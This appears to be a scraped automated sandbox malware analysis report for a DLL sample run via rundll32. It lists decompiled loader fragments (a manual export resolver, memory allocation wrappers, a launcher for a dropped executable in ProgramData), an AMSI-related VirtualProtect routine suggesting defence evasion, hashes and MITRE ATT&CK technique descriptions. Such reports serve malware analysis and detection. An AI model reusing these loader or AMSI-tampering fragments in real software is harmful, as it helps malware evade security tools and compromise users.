Instruction ID: a0a5ad8ece6fbb833eecc1f653db9957c191104e34b96774873a970715b3908c
Opcode Fuzzy Hash: cf5b33e84e0a81aa6e6959ae18ac4b5670eb398fe7318fd0ef9f8f15333516b1
Instruction Fuzzy Hash: 90011D74A00109EFDF18CF94C545BAEB7B1FF44314F248158E915AB241C774EE80DB91

Uniqueness

Uniqueness Score: -1.00%

Function 01181D10, Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.703390841.0000000001181000.00000020.00000001.sdmp, Offset: 01181000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1181000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 984b9021d3d393601abb29a9b3e196bc9194cf8d0190172f9ce7e7d42a9b0900
Instruction ID: 066a3092ac03e1d525e9862c7e65845d077e9979bb73819b05c883d04e9bb6ad
Opcode Fuzzy Hash: 984b9021d3d393601abb29a9b3e196bc9194cf8d0190172f9ce7e7d42a9b0900
Instruction Fuzzy Hash: E741DC75600109AFDB09EF48C494BAEB7B2FB88314F14C659E8195F355C775EA82CF80

Uniqueness

Uniqueness Score: -1.00%

Function 01191AF0, Relevance: 1.5, APIs: 1, Instructions: 15
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E01191AF0(void* __ecx, CHAR* _a4) {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _t6;

				_t6 = LoadLibraryA(_a4); // executed
				_v8 = _t6;
				if(_v8 != 0) {
					return _v8;
				}
				return 0;
			}

0x01191af8
0x01191afe
0x01191b05
0x00000000
0x01191b0b
0x00000000

APIs

LoadLibraryA.KERNELBASE(?), ref: 01191AF8

Memory Dump Source

Source File: 0000000A.00000002.703440159.0000000001191000.00000020.00000001.sdmp, Offset: 01190000, based on PE: true

Associated: 0000000A.00000002.703430993.0000000001190000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703449710.0000000001193000.00000002.00000001.sdmp Download File
Associated: 0000000A.00000002.703458852.0000000001194000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9e5e95ccbc50b1846e547597d6ace6dcbec411cda637add383fe74853126e880
Instruction ID: f8d969d39a5b1997213698625e5910e5dafee96a4acf85ead5ff08d22ca1526f
Opcode Fuzzy Hash: 9e5e95ccbc50b1846e547597d6ace6dcbec411cda637add383fe74853126e880
Instruction Fuzzy Hash: B8D09E7491520DFBCF14DEA4D54955977B8E708261F104594E81A93204E6319E809A91

Uniqueness

Uniqueness Score: -1.00%

Function 01191140, Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01191140(void* __ecx, long _a4) {
				void* _v8;
				void* _t5;

				_t5 = VirtualAlloc(0, _a4, 0x3000, 4); // executed
				_v8 = _t5;
				return _v8;
			}

0x01191151
0x01191157
0x01191160

APIs

VirtualAlloc.KERNELBASE(00000000,011911A1,00003000,00000004,00000004,?,011911A1,?), ref: 01191151

Memory Dump Source

Source File: 0000000A.00000002.703440159.0000000001191000.00000020.00000001.sdmp, Offset: 01190000, based on PE: true

Associated: 0000000A.00000002.703430993.0000000001190000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703449710.0000000001193000.00000002.00000001.sdmp Download File
Associated: 0000000A.00000002.703458852.0000000001194000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 55365d9f391b0724cb139ffacbd962182b41090ecc177886234312e285e33eec
Instruction ID: 6fbfee506749483c16d6514154a3fdcfbf28a862b8f6bfe044fe0ba0efe07f96
Opcode Fuzzy Hash: 55365d9f391b0724cb139ffacbd962182b41090ecc177886234312e285e33eec
Instruction Fuzzy Hash: 15D0C974645208BBE714CA94D806F69BBACE704611F000194FE189B280D5B16E408791

Uniqueness

Uniqueness Score: -1.00%

Function 011819F0, Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,01181A51,00003000,00000004,000000BE,?,01181A51,?), ref: 01181A01

Memory Dump Source

Source File: 0000000A.00000002.703390841.0000000001181000.00000020.00000001.sdmp, Offset: 01181000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1181000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c33c389b19e2db5b4dedb14a6e6bb0fddb0c5866bcbb382ca7211369f8d32dc
Instruction ID: 9123b34c5dfbd511595d3243a7ebdbee0d3e0d4b7c9c3000c9ebc8637a2ccbf8
Opcode Fuzzy Hash: 8c33c389b19e2db5b4dedb14a6e6bb0fddb0c5866bcbb382ca7211369f8d32dc
Instruction Fuzzy Hash: 22D0C9B4645208BBE714CA84D806F6DBBACE704A11F004195FE089B280D5B1AE0057A5

Uniqueness

Uniqueness Score: -1.00%

Function 01181820, Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 0118182F

Memory Dump Source

Source File: 0000000A.00000002.703390841.0000000001181000.00000020.00000001.sdmp, Offset: 01181000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1181000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b690a5414f2537f5be9a989ee1aabbdc63912484a82892f638aeb1c3f1641515
Instruction ID: 4eab7fc4b613ec6c49432f41034d068b610a70ad0b36fb10684601b302ac70b0
Opcode Fuzzy Hash: b690a5414f2537f5be9a989ee1aabbdc63912484a82892f638aeb1c3f1641515
Instruction Fuzzy Hash: BDC04C7611430CAB8B04DF98E884DAB37ADBB8CA10B14C518BA2D87204C730F9518BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 011814A0, Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 011814DB
SetLastError.KERNEL32(0000007F), ref: 01181507

Memory Dump Source

Source File: 0000000A.00000002.703390841.0000000001181000.00000020.00000001.sdmp, Offset: 01181000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1181000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 2b64351a07898a03ac884c32759aa303be9b89b52cd85c7a48e500c92c3ebc65
Instruction ID: 6e965b40331f70658bbea86a50e74c44ef16665140c7d4360a8728037774d428
Opcode Fuzzy Hash: 2b64351a07898a03ac884c32759aa303be9b89b52cd85c7a48e500c92c3ebc65
Instruction Fuzzy Hash: 1E71D875E10109EFCB08EF98C590AADB7B2FF48304F648598D456AB345D774EA82CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 011B12B0, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E011B12B0() {
				signed int _v8;
				void _v40;
				void* _v52;
				void* _v56;
				char _v124;
				int _t23;
				void* _t32;
				void* _t37;
				signed int _t40;

				_v8 =  *0x11b3004 ^ _t40;
				 *0x11b3028( &_v124, 0, 0x44, _t32, _t37);
				 *0x11b3028( &_v56, 0, 0x10);
				_v124 = 0x44;
				memcpy( &_v40, "C:\\ProgramData\\huqvg\\huqvg.exe", 7 << 2);
				asm("movsw");
				asm("movsb");
				 *0x11b3018( &_v40, 0, 0, 0, 0, 0, 0, "C:\\",  &_v124,  &_v56);
				CloseHandle(_v56);
				_t23 = CloseHandle(_v52);
				E011B1A04();
				return _t23;
			}

0x011b12bd
0x011b12ca
0x011b12db
0x011b12e4
0x011b12f8
0x011b12fa
0x011b12fc
0x011b131a
0x011b1324
0x011b132e
0x011b133b
0x011b1343

APIs

CloseHandle.KERNEL32(?), ref: 011B1324
CloseHandle.KERNEL32(?), ref: 011B132E

Strings

C:\, xrefs: 011B1305
C:\ProgramData\huqvg\huqvg.exe, xrefs: 011B12F0
D, xrefs: 011B12E4
C:\ProgramData\huqvg\huqvg.exe, xrefs: 011B12C0

Memory Dump Source

Source File: 0000000A.00000002.703509486.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000A.00000002.703497080.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703520436.00000000011B2000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_11b0000_rundll32.jbxd

Similarity

API ID: CloseHandle
String ID: C:\$C:\ProgramData\huqvg\huqvg.exe$C:\ProgramData\huqvg\huqvg.exe$D
API String ID: 2962429428-1049507935
Opcode ID: 2ae4637f4ceda772a28da5a89def28bec0bda3bd989d888adb9bc1e8e0ed4637
Instruction ID: 0ba15bc034bb2bf40361cee484e988d333a5fffb60e72774cab2eac3bb5708de
Opcode Fuzzy Hash: 2ae4637f4ceda772a28da5a89def28bec0bda3bd989d888adb9bc1e8e0ed4637
Instruction Fuzzy Hash: D2018471A14208BBDB28EBA4D989FDE7779FF4C704F100428FA15A7180D7757A58CB51

Uniqueness

Uniqueness Score: -1.00%

Function 011825E0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(01184070,00000000,00000800), ref: 011825F9
GetProcAddress.KERNEL32(00000000,01184078), ref: 01182615
VirtualProtect.KERNEL32(?,00000004,00000040,?), ref: 01182650
VirtualProtect.KERNEL32(?,00000004,?,?), ref: 01182671

Strings

AMSI, xrefs: 0118263C

Memory Dump Source

Source File: 0000000A.00000002.703390841.0000000001181000.00000020.00000001.sdmp, Offset: 01181000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1181000_rundll32.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: AMSI
API String ID: 3300690313-3828877684
Opcode ID: fb821300e382cbd3378ac708d6e4a720a16f6652a9227e8b8d433512c88c85f3
Instruction ID: 9ad89c5d88709a6a05f0e7b48afd091b6f21672bc4781ccd8e52743aa710d394
Opcode Fuzzy Hash: fb821300e382cbd3378ac708d6e4a720a16f6652a9227e8b8d433512c88c85f3
Instruction Fuzzy Hash: 92111CB4E00209EFCB19DFD4C849BAEBBB4FB48704F208559EA1167340D7B4AA45CF55

Uniqueness

Uniqueness Score: -1.00%

Function 01191FA0, Relevance: 6.4, APIs: 5, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01191FA0(intOrPtr __ecx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				signed short* _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				void* _t82;
				void* _t124;

				_v40 = __ecx;
				_t3 = _a4 + 4; // 0x3
				_v12 =  *_t3;
				_v16 = 0;
				_v32 =  *_a4 + 0x78;
				if( *((intOrPtr*)(_v32 + 4)) != 0) {
					_v8 = _v12 +  *_v32;
					if( *((intOrPtr*)(_v8 + 0x18)) == 0 ||  *((intOrPtr*)(_v8 + 0x14)) == 0) {
						SetLastError(0x7f);
						return 0;
					} else {
						if((_a8 >> 0x00000010 & 0xffff) != 0) {
							_v24 = _v12 +  *((intOrPtr*)(_v8 + 0x20));
							_v28 = _v12 +  *((intOrPtr*)(_v8 + 0x24));
							_v36 = 0;
							_v20 = 0;
							while(_v20 <  *((intOrPtr*)(_v8 + 0x18))) {
								_t82 = E011911E0(_a8, _v12 +  *_v24);
								_t124 = _t124 + 8;
								if(_t82 != 0) {
									_v20 = _v20 + 1;
									_v24 = _v24 + 4;
									_v28 =  &(_v28[1]);
									continue;
								}
								_v16 =  *_v28 & 0x0000ffff;
								_v36 = 1;
								break;
							}
							if(_v36 != 0) {
								L17:
								if(_v16 <=  *((intOrPtr*)(_v8 + 0x14))) {
									return _v12 +  *((intOrPtr*)(_v12 +  *((intOrPtr*)(_v8 + 0x1c)) + _v16 * 4));
								}
								SetLastError(0x7f);
								return 0;
							}
							SetLastError(0x7f);
							return 0;
						}
						if((_a8 & 0xffff) >=  *((intOrPtr*)(_v8 + 0x10))) {
							_v16 = (_a8 & 0xffff) -  *((intOrPtr*)(_v8 + 0x10));
							goto L17;
						}
						SetLastError(0x7f);
						return 0;
					}
				}
				SetLastError(0x7f);
				return 0;
			}

0x01191fa6
0x01191fac
0x01191faf
0x01191fb2
0x01191fca
0x01191fd4
0x01191fed
0x01191ff7
0x01192004
0x00000000
0x01192011
0x01192021
0x01192069
0x01192075
0x01192078
0x0119207f
0x011920a3
0x011920bb
0x011920c0
0x011920c5
0x0119208e
0x01192097
0x011920a0
0x00000000
0x011920a0
0x011920cd
0x011920d0
0x00000000
0x011920d0
0x011920df
0x011920ed
0x011920f6
0x00000000
0x01192113
0x011920fa
0x00000000
0x01192100
0x011920e3
0x00000000
0x011920e9
0x01192035
0x01192058
0x00000000
0x01192058
0x01192039
0x00000000
0x0119203f
0x01191ff7
0x01191fd8
0x00000000

APIs

SetLastError.KERNEL32(0000007F,?,?,?,?,01191039,00000000), ref: 01191FD8
SetLastError.KERNEL32(0000007F,?,?,?,?,01191039,00000000), ref: 01192004

Memory Dump Source

Source File: 0000000A.00000002.703440159.0000000001191000.00000020.00000001.sdmp, Offset: 01190000, based on PE: true

Associated: 0000000A.00000002.703430993.0000000001190000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.703449710.0000000001193000.00000002.00000001.sdmp Download File
Associated: 0000000A.00000002.703458852.0000000001194000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 51582c3cdb4d9d18e3c3b966280abcaaf8039ca54f8e33399929ae064e118ed4
Instruction ID: 9305394e66a3e7f7c766ad249c40856952fb4e9a5b03cf131201ca77269a1dbc
Opcode Fuzzy Hash: 51582c3cdb4d9d18e3c3b966280abcaaf8039ca54f8e33399929ae064e118ed4
Instruction Fuzzy Hash: 9151FA74A0010AEFDF18CF98C581BAEBBB2FF48304F248169D525AB345D735EA91CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01182430, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 01182468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 011824B2

Strings

@, xrefs: 01182453

Memory Dump Source

Source File: 0000000A.00000002.703390841.0000000001181000.00000020.00000001.sdmp, Offset: 01181000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1181000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 5f6fbaf245827d826662a090f3b9b8f553eaea5ed9bbfe0413b36b76f2cc1cc8
Instruction ID: 9a76771112f446554f9c85e8598d973e0e3de8fe2b7e066cf6f3d18df6761471
Opcode Fuzzy Hash: 5f6fbaf245827d826662a090f3b9b8f553eaea5ed9bbfe0413b36b76f2cc1cc8
Instruction Fuzzy Hash: 512118B4A04208EFDF19DF98C880BADBBB5BF44304F24C199D906AB245C374AB80DF61

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 4123.do1

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 7088 Parent PID: 6080

Function 048511A0, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 69
libraryloaderCOMMON

Function 011B1B50, Relevance: 22.8, APIs: 15, Instructions: 331
COMMON

Function 04851640, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 212
networkCOMMON

Function 011A1030, Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Function 10001140, Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 258
libraryCOMMON

Function 10001530, Relevance: 54.6, APIs: 4, Strings: 27, Instructions: 320
COMMON

Function 011A21A0, Relevance: 6.2, APIs: 4, Instructions: 182
COMMON

Function 011B18C0, Relevance: 5.2, APIs: 4, Instructions: 183
COMMON

Function 0116002D, Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Function 048510B0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 80
sleepCOMMON

Function 04851040, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
COMMON

Function 011B1460, Relevance: 3.1, APIs: 2, Instructions: 104
COMMON

Function 011B12A0, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMON

Function 011B190D, Relevance: 2.5, APIs: 2, Instructions: 34
COMMON

Function 011A1D10, Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Function 011B1AF0, Relevance: 1.5, APIs: 1, Instructions: 15
libraryCOMMON

Function 011B1140, Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Function 100010E0, Relevance: .0, Instructions: 9
COMMON

Function 048512B0, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 55
COMMON